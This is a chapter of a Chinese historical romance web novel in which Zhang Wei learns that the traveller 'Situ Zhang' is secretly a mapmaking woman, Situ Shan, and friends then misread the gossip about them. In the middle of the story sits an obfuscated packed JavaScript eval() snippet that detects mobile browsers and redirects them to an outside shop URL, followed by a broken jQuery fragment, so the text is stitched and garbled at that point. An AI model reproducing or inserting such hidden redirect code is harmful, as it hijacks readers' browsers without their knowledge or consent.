还没到掌灯的时候,张娓就被送到了专门给司徒樟准备的厢房中。
不是她上赶着想来,说来荒唐,白日里在廊下司徒樟拉扯她的那幕,恰巧被暗中观察的年知县看了去。
“你这小娘子人不可貌相啊。”
张娓板着一张脸笑不出来。年知县命后厨的婆子找了身干净的衣裳给张娓换上,好好收拾了一番后,婆子递给她一块搓澡巾,司徒樟的厢房里已经准备好了一大桶热水。
这脏公子该不会是有什么癖好吧,张娓把澡巾往肩膀上一搭,看着铜镜中自己并不出挑的模样道:“造孽啊!”
“来了,这么快。”司徒樟从外面推门进来看见张娓在一旁站着,自然地招呼了一声。
不等张娓发言,司徒樟在浴桶边随便用手试了下水温,就迫不及待地动手解起身上的袍子来。
“你要干什么?”张娓咬牙切齿的问。
“洗澡啊,这几天没地方洗澡,我身上都捂出汗味了,你没闻到?”他说着就要伸手去拿张娓肩膀上的澡巾。
这还得了?张娓跳起来甩着澡巾打得司徒樟满屋子乱窜。
“停!住手,你听我说。”司徒樟边躲边解释:“不是你想的那样!”
“那是怎样?”张娓举起水瓢护在身前瞪着他。
“别打了,你先看看我!”
“你有什么好看的!”
“你不看怎么知道?”司徒樟把盘于发顶的头发放下,久未清洗过的长发夹杂着灰土和头油臭气。
原本该愤怒的张娓短暂的冷静了下来,她与司徒樟对视一眼,二人开始面对面地干呕起来。
“哕~呕~呕~”
“好臭,你多久没洗头了!”
司徒樟答:“上次洗是冬至的时候吧。”
“去年冬至?”张娓快吐了。
听到里面的动静不小,门外传来衣料摩擦的细嗦声响。
“有人在偷听。”司徒樟率先站起来,示意张娓禁声。
他走到房门前冲外头喊道:“小娘子别跑啊,本公子就喜欢你这样的!”
说着水壶被他弄到了地上,张娓听见司徒樟嘴里发出了令人发毛的笑声。
确定门外的人走后,司徒樟才插上房门回来。他把从身上脱下的外袍小心翼翼地放在桌子上,紧接着伸手当着张娓的面就开始脱里衣。
张娓想起来抬手捂眼睛的时候已经来不及了。
罗盘直尺混着炭笔上掉落的灰屑“叮铃哐啷”的散落了一地。
只见眼前的人接着解开缠绕在身上的布带。
“你!你不是司徒公子?”看着在她面前衣衫尽褪的人,张娓结巴起来。
“是,也不是。”
司徒樟在她吃惊的目光中坐到了浴桶里。
他告诉张娓一个秘密。黎京城司徒大人家中有一儿一女,儿子叫司徒樟,女儿叫司徒杉。
这家女儿年少时爱上了出门远游,但她用女娘之身在外行走多有不便,是以每次这家女儿出门远行后,家中与她相貌神似的兄长司徒樟便会和她交换身份,代替她待在府邸中。
“你是女的,所以你就是司徒杉喽?”
是卖给说书的,说书人都不敢说的故事。张娓不解地趴在浴桶边上,看着后背受了伤的司徒杉问:“你一个千金大小姐怎么会到我们这穷乡僻壤来,还把自己整成这副蓬头垢面的样子。”
“你给我擦背我就告诉你。”
张娓想听,她麻利地挽起袖子给司徒杉擦起身子来,又打了香波给她把打结的头发洗了。
“啊~舒服舒服。”司徒杉坐在浴桶里发出舒爽的喟叹。
“你为什么选我伺候你啊?”张娓想莫不是这司徒小姐慧眼识珠,看出了她的过人之处。
“因为你有心上人了啊,别的小娘子要是和我太过亲近,看上我了,死活要嫁给我怎么办?”司徒杉理所当然道。
“......”张娓不作声,默默舀了一大勺水给司徒杉从头顶浇了下去。
这洗完澡人是不一样了,这“脏公子”看起来终于有了点清秀佳人的影子。
擦干头发的司徒杉把张娓拉到床榻上坐着。
两侧放下的床幔把光亮隔绝在外,司徒杉将原来身上那件脏袍子铺在床上慢慢展开。
张娓在床里头点了一盏灯烛举着,不太敢靠近,她怕里头有虱子。
这破袍子有两层,司徒杉把内里夹层翻出来,小心地抽出一张材质特殊的布帛。
“你看这一角画的是湖城县,这我们来时的路,这是黎京。”布帛上绘制着一幅不太完整的东黎舆图,司徒杉把自己做的标注一处处指给张娓看。
“哇!这些地方你都去过吗?”张娓已经惊得说不出话了,眼睛里心里完全是赞赏:“这么远的路,你怎么去的?”
司徒杉拍了拍大腿欣然道:“路就在那,有腿就能走,别人去得我亦去得。”
司徒杉小时候偶然在司徒府的书房中看过一本没有署名游记叫《四国风华览胜录》,那里头详细记录了著书人四处游玩的路线经历。
哪处风景独特,哪处有山野美味,还有什么千奇百怪的地方风俗特产都有标注。
她翻到南耶国那一篇,见里头附着一张手绘的海景图。批注上写到,“此地海天一色一望无际,有椰林白沙,吾日暮行至此处,坐忘归期。”
年幼的司徒杉站在书房里,心却像跟着著书人一起来到了大海边。
她将书偷偷带回房里晚上偷着看。被父亲发现时,面对她想出海去的请求,司徒大人只板着脸说道:“这不是女娘家该看,该问的东西。”
三两句话能把她人打发了,却阻止不了她的心。
她要想出远门第一步就得先学会看地图。外人不知,司徒杉从小对方向的把控就极为敏锐,她像天生就会记路,眼睛看过一次黎京城的舆图,就能凭着记忆绘制出一幅一模一样足以以假乱真的。
司徒府中收藏的那些前人所作的舆图已十分老旧,甚至有很多破损之处,司徒杉看得心里难受,就东拼一块西凑一角,暗地里把东黎版图绘出了个大概。
那一年她父亲司徒瑜官场得意,姑母司徒瑾被正式册封为皇后,除了家里,她能去的地方多了一个后宫,但对司徒杉来说那不过就是一个放大版的司徒府。
在这个若大的府邸中,唯有兄长司徒樟将她的心思看在眼里。
她十七岁那年上元节,司徒樟打开了绣楼的大门,放走了她这只注定要翱翔在外的鹏鸟。
“父亲,天地之广阔,女儿想亲自去丈量。”当匆匆赶回的司徒大人看见留信上的这几个字时,气得当下便要与她断绝血脉关系。
当然了,也没完全断。这几年司徒杉断断续续在东黎四处游玩,没少带各地特产“回”司徒府去。
但她每次被抓回去关禁闭都能找到机会跑出去,最后连司徒大人都无奈了,见她年节在家行。
“那我现在是该怎么叫你啊?是叫司徒公子?还是司徒小姐?”
“管他公子小姐的,你就叫我司徒吧,但我的身份你可千万要保密。”司徒杉故作冷漠警告。
她的手刀架在张娓脖子上抹了一把严肃道:“今夜你就同我呆在一起吧,外面那些偷听的人八成就是那个年知县派来监视我的,说不定还会再回来。”
“嗯嗯你放心,我谁都不告诉!”张娓用手比了个禁声的手势和床上的人对视点头。
明月高悬之时,司徒杉躲在床幔里把缺失的地图慢慢补上,张娓就在一旁给她点灯放风。
“还差一点,这一角连不上。”司徒杉的手指在床上轻敲,指着图上缺失的一角给张娓看。
“哦!我知道。”张娓放下灯烛靠过去说:“这里就大概就是大脚鸭村后山那片,我们村子偏僻,一般外人很少来。”其实根本就是难找的很!
大脚鸭村三面山林相连,入口处更像一个天然的迷宫,没人带着,就跟卧鹅岭上一样,很容易就错过正确的路口。
“等回去了,我给你带路”言出必行的张娓伸出小拇指同司徒杉做了个娘子之约!
“一言为定。”
一连三日,张娓夜晚给司徒杉站岗,白天换司徒杉守着她午睡。
直到林秀听到了一些风言风语,特意跑来司徒杉的住处。
林秀逮住张娓带着哭腔问她:“是那个司徒樟逼迫你的是不是,她们说的不是真的对不对?”她前后摇晃着还没反应过来状况的张娓。
“啊?没有啊,司徒她很好啊,什么对不对的。”
“她们听厨房婆子说,你每天晚上都和那个司徒公子呆在一间房里嘻嘻笑笑打闹到天明,还说司徒公子特别属意你,要把你带回去收做妾侍。”
“什么!”张娓尖叫着脑补了一下这个画面,是挺不对劲的,林秀她们并不知道司徒杉是女子啊!
张娓还未出嫁,好家伙这些话要是传回大脚鸭村里,一般情况下,她的名声是不是要败坏啊!
“你该不会是喜欢上司徒樟了吧?”
“阿秀你听我说事情不是这样的。”张娓拔高了声量解释:“阿秀你得相信我!说什么给她做侍妾根本没有的事,我是挺喜欢佩服她这个人的,但不是你想的那种喜欢。”
“喜欢谁啊?”张首不知道从什么地方冒出来的吓了她二人一跳!
“啊!”
林秀和张娓一起惊叫出声:“你怎么在这?”这厮这段时间怎么总是神出鬼没的。
张首两只手插进袖子里顺理成章地说:“县衙通知家人来领你们回去啊,上头大理寺来人了,明日就押解这两个人贩子上黎京受审,你们没事了,可以走了。”
张娓心怀侥幸地问:“你一个人来的?”
“没有啊,你的恩公也来了,在那呢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221989|197527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺着张首手指的方向看去,白墙边槐树底下依稀是站着一个人。
张首道:“我刚去了趟茅房,出来就见你们在这嘀咕说啥呢?”
“你喜欢谁啊?”
张娓推开张首,她想问沈甜什么时候来的,刚才的对话他又听进去了多少?
沈甜许久才从树荫底下走出来,他手里握着一个油纸包,脸上没有了往日的笑意,看起来有些严肃。
几日未见,张娓上前拉住沈甜就走,她有预感,得赶紧离开这里。
果然前脚还没踏出县衙门口,后头便传来了衙役的呼唤:“张娘子,莫走,张娘子,且慢。”
“快拦下她!”
“张娘子,司徒公子叫我给你传话,说:“阿娓别忘了我们的约定哦!”
“什么约定?还哦!”张首撅着嘴重复了一遍。
一旁的沈甜将手中的油纸包捏得“嘎吱”作响。
张娓脚步加快逃似地离开了县衙,她反常的举动明摆写着她俩有事。
湖城县里新来的戏班子在福来客栈门口搭了个大戏台,许多人都围在那边看。
出了县衙,为了缓解这个诡异的气氛,张娓提议大家一起去看戏去。
“这唱哪出啊?”张首问前面的挑货郎。
货郎道:“福来客栈换了新掌柜接手,这不重新开业了,说今日哪桌消费酒菜五百文以上的可以点戏,马员外刚点了一出《张郎负丽娘》”
“怎么没听过啊?”
“听说是新戏,第一回唱呢。”
“那得听听。”
锣鼓声响,伶人粉末登场。
台上唱的是穷书生张郎攀上了国公府千金后,抛弃糟糠之妻沈丽娘的故事。
“好没新意的故事。”前头围观的人群失望地吐着嘴里的瓜子皮。
“俗气但架不住有人爱看,你看有人哭了。”
“你这个负心的人~”台上扮演沈丽娘那位,唱词悲哀婉转,诉尽多年苦楚,听得人潸然泪下,台下更有共情者张嘴大骂张郎不是人。
“又是哪个写戏的喝多了写的酸词。”张娓才说完转头就见沈甜在低头擦拭着下巴上的泪珠。
张娓嘴里含着梅子瞬间就不甜了,她两侧腮帮子被酸得鼓起,但又不得不坐立难安地跟着众人又连听了三场。
回去的路上,沈甜坐在牛车上红着眼眶,几次想张嘴,又咽下。
张首和林秀坐在对面失望地看着张娓。
张娓低着头抱着脑袋垂首道:“你们别这样看我,我能说清楚。”
“你快!从实招来——”张首唱着刚学的戏腔唱词,没打算放过她。
“我和司徒是清白的,他一个黎京来的公子没吃过苦,年知县看我手脚麻利,让我给他当几天下人而已。”
“真的?”沈甜哽咽了一下才开口:“那你没有喜欢他?”
“不是男女那种喜欢,我只是把她当成一个朋友,你能明白吗?”
“那个词怎么说来着,叫知己!”
沈甜摇头。
张娓扶额又换了一种方式解释:“就像我喜欢阿秀,你和小王互相欣赏那种喜欢。”
沈甜思索了一下,勉强点头接受了这套说辞,才又把手里的梅子递给张娓吃。
张娓接过油纸包好奇道:“你哪来的钱买这个?”
“是林大娘给他的。”张首抢着说:“前几日在家里等消息,他天天都陪着林大娘一起守在村口做绣活。”
“平时来收绣品的掌柜见了,夸他绣的样子好看就多给了点赏钱。”
“哎呀,这有人一得了钱就知道买糖渍梅子来接人,也不想着给陪他来的人吃一颗。”
张娓给了张首一肘击,趁机坐得离沈甜更近了些。
“沈甜你都会赚钱了?真厉害!”听到她的称赞,沈甜只不咸不淡地回了个“嗯。”
途中牛车上下颠簸,张娓没坐稳摇摇晃晃的地作势要往后倒。
沈甜下意识地伸手去扶了张娓一把,嘴里却猝不及防地被张娓抬手塞进了一颗梅子。
一直被张娓握在掌心的梅子,外层糖霜都化了,吃起来很是酸牙,沈甜被酸梅子激得漂亮的眉眼都蹙在了一起。
张娓自己也吃了一颗,含在嘴里,也跟着挤眉弄眼起来。
沈甜看着她滑稽的表情终于笑了出来。
梨涡浅笑,甜如蜜糖。
张娓望着他,跟着勾起嘴角,她只觉得好甜,她嘴里这这颗梅子好甜。
身后的湖城县内,一暗宅深处,三名在东黎国潜伏多年的影卫自黑暗中抬起头来,神色严肃。
他三人手上各自扯着那块水粉色轻薄布料的一角,面面相觑道:“这谁啊?”
“劳达,你说,这人把晦月门的联络图腾绣在这肚兜上,到底是要传递什么意思呢?”
“这月影卫培训的时候,也没教过啊。”